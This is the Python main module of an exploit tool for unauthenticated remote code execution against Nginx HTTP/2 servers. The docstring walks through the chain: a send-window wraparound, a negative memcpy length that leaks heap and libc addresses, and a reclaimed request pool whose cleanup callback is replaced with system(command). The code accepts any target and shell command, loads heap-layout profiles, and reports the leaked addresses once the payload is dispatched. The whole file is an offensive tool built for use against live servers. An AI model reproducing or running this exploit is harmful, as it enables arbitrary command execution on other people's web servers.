"""Unauthenticated HTTP/2 RCE for explicitly profiled Nginx targets. Root cause ========== Nginx reserves connection flow-control credit when it queues response DATA. If a stream is reset before those DATA frames start, the HTTP/2 output cleanup removes the frames and returns their credit. A SETTINGS overflow closes the affected streams without restoring the invariant first, so cleanup can leave the unsigned connection send window above HTTP/2's 31-bit maximum. The WINDOW_UPDATE bounds check then evaluates ``MAX - current`` with unsigned wraparound and accepts roughly 2^33 maximum increments. Exploit ======= The wrapped window is interpreted as a negative signed output limit. Nginx constructs an inverted output buffer, and its TLS coalescer passes that negative distance to memcpy as a huge size_t. Glibc's selected copy routine wraps at the address-space boundary, exposing heap/libc data and overwriting the adjacent request pool. This script derives ASLR addresses from that leak, reclaims the overwritten pool on the same worker, and changes its cleanup callback to ``system(command)``. The selected target profile defines the Nginx/glibc build, transport schedule, HTTP paths, heap layout, and leaked-pointer invariants. The native helper under ``streamer`` beside this package emits the profile's 119-GiB plaintext schedule without allocating or hashing that data in Python. """ import argparse import logging import os from pathlib import Path import subprocess import sys import tempfile import time from .constants import DEFAULT_PROFILE, STREAMER_PATH, STREAMER_PROTOCOL from .profiles import load_profile from .runner import run_exploit from .target import Config, auto_profile_group, parse_target LOG = logging.getLogger("nginx-rce") def configure_logging(verbose): """Send concise progress, or detailed review events, to stdout.""" handler = logging.StreamHandler(sys.stdout) handler.setFormatter(logging.Formatter( "%(asctime)s %(levelname)s %(message)s", datefmt="%H:%M:%S")) LOG.handlers = [handler] LOG.propagate = False LOG.setLevel(logging.DEBUG if verbose else logging.INFO) def parse_command(value): """Encode the command once and reject C-string truncation.""" command = value.encode() if b"\0" in command: raise argparse.ArgumentTypeError("command must not contain NUL") return command def main(): """Validate local inputs, run one exploit attempt, and report dispatch.""" parser = argparse.ArgumentParser(description=__doc__) parser.add_argument("--target", required=True, type=parse_target) parser.add_argument("--cmd", required=True, type=parse_command) parser.add_argument( "--profile", default=DEFAULT_PROFILE, help="auto, a built-in profile name, or a profile JSON path") parser.add_argument( "--verbose", action="store_true", help="write fine-grained debugging events to stdout") args = parser.parse_args() configure_logging(args.verbose) try: if args.profile == "auto": profile, candidates = auto_profile_group() else: profile = load_profile(args.profile) candidates = [profile] except (argparse.ArgumentTypeError, OSError, RuntimeError) as error: LOG.error("profile initialization failed: %s", error) parser.error(str(error)) if (args.profile != "auto" and len(args.cmd) > profile["heap"]["command_max_bytes"]): parser.error( f"--cmd exceeds this profile's " f"{profile['heap']['command_max_bytes']}-byte limit") # Fail before expensive traffic if the adjacent binary is missing, stale, # or implements another argument/result protocol. streamer = STREAMER_PATH if not (streamer.is_file() and os.access(streamer, os.X_OK)): parser.error("the required adjacent streamer helper is missing or not executable") try: helper = subprocess.run((str(streamer), "--version"), capture_output=True, text=True, timeout=2) except (OSError, subprocess.TimeoutExpired) as error: parser.error(f"native streamer self-test failed: {error}") if helper.returncode or helper.stdout.strip() != STREAMER_PROTOCOL: parser.error("native streamer protocol/version mismatch") # Strategy overview: # 1. Create/refund unsent DATA around MAX to break send-window accounting. # 2. Use legal WUs to reach a negative signed-copy length. # 3. Shape adjacent glibc chunks and leak heap/libc through that copy. # 4. Reclaim the chunks on the selected worker and replace C's cleanup. # # Heap/libc constants come from the selected, validated profile. No heap # address is guessed: H/libc are learned on-wire, and C is reached by # adjacency rather than arithmetic. # The target hostname controls DNS, TLS SNI, and every HTTP/2 :authority. # Once connected, all auxiliary sockets use that same resolved backend so # their allocations can belong to workers of the selected Nginx master. started = time.monotonic() LOG.info("starting exploit: target=https://%s profile=%s " "candidate_profiles=%d command_bytes=%d", args.target[2], args.profile, len(candidates), len(args.cmd)) try: with tempfile.TemporaryDirectory(prefix="nginx-rce-") as directory: # Key-log and progress files contain attempt-local secrets/state; # the context deletes them immediately after this run. config = Config(args.target, args.cmd, profile, Path(directory), candidates) result = run_exploit(config) except Exception as error: elapsed = time.monotonic() - started if args.verbose: LOG.exception("exploit failed after %.2fs: %s", elapsed, error) else: LOG.error("exploit failed after %.2fs: %s", elapsed, error) raise SystemExit(1) from error LOG.info("payload dispatched in %.2fs: H=%#x nginx=%#x libc=%#x " "profile=%s plaintext=%.2f GiB auxiliaries=%d; use an external " "command oracle to confirm execution", time.monotonic() - started, result["holder"], result["nginx"], result["libc"], result["profile"], result["plaintext_gib"], result["auxiliaries"])